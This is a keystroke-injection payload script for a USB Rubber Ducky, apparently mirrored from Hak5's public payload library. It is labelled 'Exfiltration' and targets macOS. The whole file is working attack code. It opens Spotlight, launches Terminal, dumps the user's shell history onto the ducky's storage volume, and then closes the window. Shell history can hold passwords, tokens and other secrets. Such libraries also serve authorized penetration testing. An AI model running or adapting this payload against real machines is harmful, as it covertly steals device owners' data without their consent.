Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/History-Grabber/payload.txt
2968 views
1
REM Title: Terminal History Grabber
2
REM Description: Extracts the terminal history of the device onto the ducky
3
REM Author: matthewkayne
4
REM Category: Exfiltration
5
REM Target: macOS (Terminal)
6
REM Requires: Twin Duck firmware or separate USB stick (requires change to the path of the file)
7
8
9
DELAY 1000
10
GUI SPACE
11
DELAY 400
12
STRING terminal
13
ENTER
14
DELAY 200
15
STRING history > /Volumes/DUCKY/history.txt
16
DELAY 100
17
ENTER
18
DELAY 200
19
ENTER
20
DELAY 200
21
GUI w
22
DELAY 200
23
ENTER
24
25